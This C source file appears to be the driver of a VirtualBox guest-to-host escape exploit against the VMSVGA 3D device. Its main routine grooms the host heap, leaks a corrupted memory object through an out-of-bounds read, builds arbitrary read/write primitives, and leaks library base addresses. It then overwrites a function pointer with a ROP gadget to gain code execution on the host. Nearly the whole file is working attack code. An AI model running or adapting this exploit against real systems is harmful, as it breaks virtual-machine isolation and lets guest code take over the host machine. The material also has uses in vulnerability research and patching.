#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sys/ioctl.h>
#include <time.h>

#include "defs.h"
#include "common_primitives.h"
#include "write_primitives.h"
#include "read_primitives.h"

#define min(a,b) (a<b) ? a : b

int setup_transfer_buffer(struct exploit_context *ctx) {
	ctx->buf_size = 0x1000;
	int rc = alloc_transfer_buffer(ctx->buf_size, &ctx->virt_addr, &ctx->phys_addr);	
	if (rc != 0) 
		return -1;

	ctx->buf = (uint8_t*)malloc(ctx->buf_size);
	memset(ctx->buf, 0xAA, ctx->buf_size);

	rc = write_to_transfer_buffer(ctx, ctx->buf, ctx->buf_size);
	if (rc != 0) 
		return -1;
	return 0;
}

void print_hex_buffer(const uint8_t* buffer, uint64_t size) {
	if (buffer == NULL) {
		printf("Buffer is NULL.\n");
		return;
	}

	for (uint64_t i = 0; i < size; ++i) {
		printf("%02x ", buffer[i]);
		if ((i + 1) % 32 == 0 && i + 1 < size) {
			printf("\n");
		}
	}
	printf("\n");
}

int groom(uint32_t transfer_id, struct exploit_context *ctx, bool print_buffers) {
	uint32_t current_id = 0x10;
	uint32_t max_id = 0x8000;
	bool match = false;

	for (; current_id < max_id && !match; current_id++) {
		printf("current id: %02x\n", current_id);
		int rc = define_surface(current_id, ctx->buf_size, 0xffffffff, 1, SVGA3D_NV12);
		if (rc != 0) 
			return -1;
		rc = force_alloc_surface(current_id);
		if (rc != 0) 
			return -1;
		define_gmob(current_id, ctx->phys_addr, 0x01421337);
		rc = buffer_copy(current_id, transfer_id, ctx->buf_size);
		if (rc != 0) 
			return -1;

		rc = readback_surface(transfer_id);
		if (rc != 0) 
			return -1;

		sleep(1);

		rc = read_from_transfer_buffer(ctx, ctx->buf, ctx->buf_size);
		if (rc != 0) 
			return -1;
		if (print_buffers)
			print_hex_buffer(ctx->buf, 0x100);

		int pos = 0;
		for (; pos < 0x5a && !match; pos++) {
			if (ctx->buf[pos] == 0x37) {
				if (ctx->buf_size - pos < 4) break;
				match = ctx->buf[pos+1] == 0x13 && ctx->buf[pos+2] == 0x42 && ctx->buf[pos+3] == 0x01;
			}
		}

		if (match) {
			printf("[+] match at %02x\n", pos);
			break;
		}
	}

	ctx->groomed_surface = current_id;
	return 0;
}

int cleanup(struct exploit_context *ctx, uint32_t transfer_surface_id) {
	int rc = destroy_surface(transfer_surface_id);
	ctx->corrupted_mob->Gbo.pvHost = 0;
	corrupt_host_gmob(ctx);	
	if (rc != 0) 
		return -1;
	rc = destroy_surface(ctx->groomed_surface);
	if (rc != 0) 
		return -1;
	for(int i = 0x10; i <=ctx->groomed_surface; i++) {
		destroy_surface(i);
		destroy_gmob(i);
	}
	return 0;
}

int main() {
	struct exploit_context ctx;
	printf("[.] setting up transfer buffer\n");
	int rc = setup_transfer_buffer(&ctx);	
	if (rc < 0) {
		printf("[-] error creating transfer buffer\n");
		return -1;
	}

	// Alloc the surface and mob to exfiltrate linear oob read.
	printf("[.] Preparing exfiltration elements\n");
	uint32_t transfer_surface_id = 0x0a;	
	ctx.transfer_surface_id = transfer_surface_id;
	ctx.transfer_mob_id = transfer_surface_id;
	rc = define_surface(transfer_surface_id, ctx.buf_size, 1, 1, SVGA3D_LUMINANCE8);
	if (rc != 0) 
		return -1;

	rc = define_gmob(transfer_surface_id, ctx.phys_addr, ctx.buf_size);
	if (rc != 0) 
		return -1;

	rc = bind_surface(transfer_surface_id, transfer_surface_id);
	if (rc != 0) 
		return -1;


	printf("[.] Starting heap groom....\n");
	rc = groom(transfer_surface_id, &ctx, true);
	if (rc < 0 ) {
		printf("[-] couldn't groom the heap :(\n");
		return -1;
	}
	ctx.corrupt_size =  sizeof(VMSVGAMOB)+0x20; 
	ctx.corrupted_mob_buffer = (uint8_t*)malloc(ctx.corrupt_size);
	memcpy(ctx.corrupted_mob_buffer, ctx.buf, ctx.corrupt_size);
	ctx.corrupted_mob = (VMSVGAMOB*)(ctx.corrupted_mob_buffer+0x20);

	printf("[+] Successfully groomed surface %02x, mobid %02x\n", ctx.groomed_surface, ctx.corrupted_mob->Core.Key);


	printf("[.] Preparing arbitrary read/write primitives\n");
	ctx.context_id = 0x42;
	printf("[.] Defining context\n");
	rc = define_context(ctx.context_id);
	if (rc != 0) 
		return -1;

	printf("[.] Registering corrupted mob in this context\n");
	ctx.mob_type = 0x0;
	ctx.context_size = 0x1337;;
	rc = grow_co_table(ctx.context_id, ctx.corrupted_mob->Core.Key, ctx.mob_type, ctx.context_size);
	if (rc !=0 ) 
		return -1;
	
	read_corrupted_mob(&ctx);
	printf("[.] state ptr? %p\n", ctx.corrupted_mob->nodeLRU.pPrev);

	printf("[.] Primitives ready for exploitation\n");
	uint64_t svga_state_addr =  (uint64_t)ctx.corrupted_mob->nodeLRU.pPrev - 0x11D0;
	printf("[.] PVMSVGAR3STATE addr: %p\n", svga_state_addr);

	uint64_t pfuncs_vgpu9_addr_in_struct = svga_state_addr + 0x11F0;
	uint64_t pfuncs_vgpu9_addr = 0;
	arbitrary_read(&ctx, pfuncs_vgpu9_addr_in_struct, (uint8_t*)&pfuncs_vgpu9_addr, sizeof(uint64_t));
	printf("[.] pfuncs_dx_addr: %p\n", pfuncs_vgpu9_addr);

	uint64_t command_clear_pfn_addr = pfuncs_vgpu9_addr + 0x60;
	uint64_t command_clear_pfn = 0;
	arbitrary_read(&ctx, command_clear_pfn_addr, (uint8_t*)&command_clear_pfn, sizeof(uint64_t));
	printf("[+] command clear function pointer: %p\n", command_clear_pfn);
	uint64_t vboxdd_base = command_clear_pfn - 0x25cc01;
	printf("[+] vboxdd base: %p\n", vboxdd_base);

	printf("[.] finding the base of VBoxRT\n");
	uint64_t rt_threadnative_got_addr = vboxdd_base + 0x7e6318;
	uint64_t rt_threadnative_addr;
	arbitrary_read(&ctx, rt_threadnative_got_addr, (uint8_t*)&rt_threadnative_addr, sizeof(uint64_t));
	printf("[.] RTThreadNativeSelf addr: %p\n", rt_threadnative_addr);

	uint64_t vboxrt_base = rt_threadnative_addr - 0x45f137;
	printf("[+] VBoxRT base addr: %p\n", vboxrt_base);

	uint64_t pop_rsp = vboxdd_base + 0x224d1d;
	uint64_t rip = pop_rsp;
	arbitrary_write(&ctx, (uint64_t)command_clear_pfn_addr, (uint8_t*)&rip, 8);

	trigger_code_exec(&ctx, vboxdd_base, vboxrt_base);

	cleanup(&ctx, transfer_surface_id);

	return 0;
}

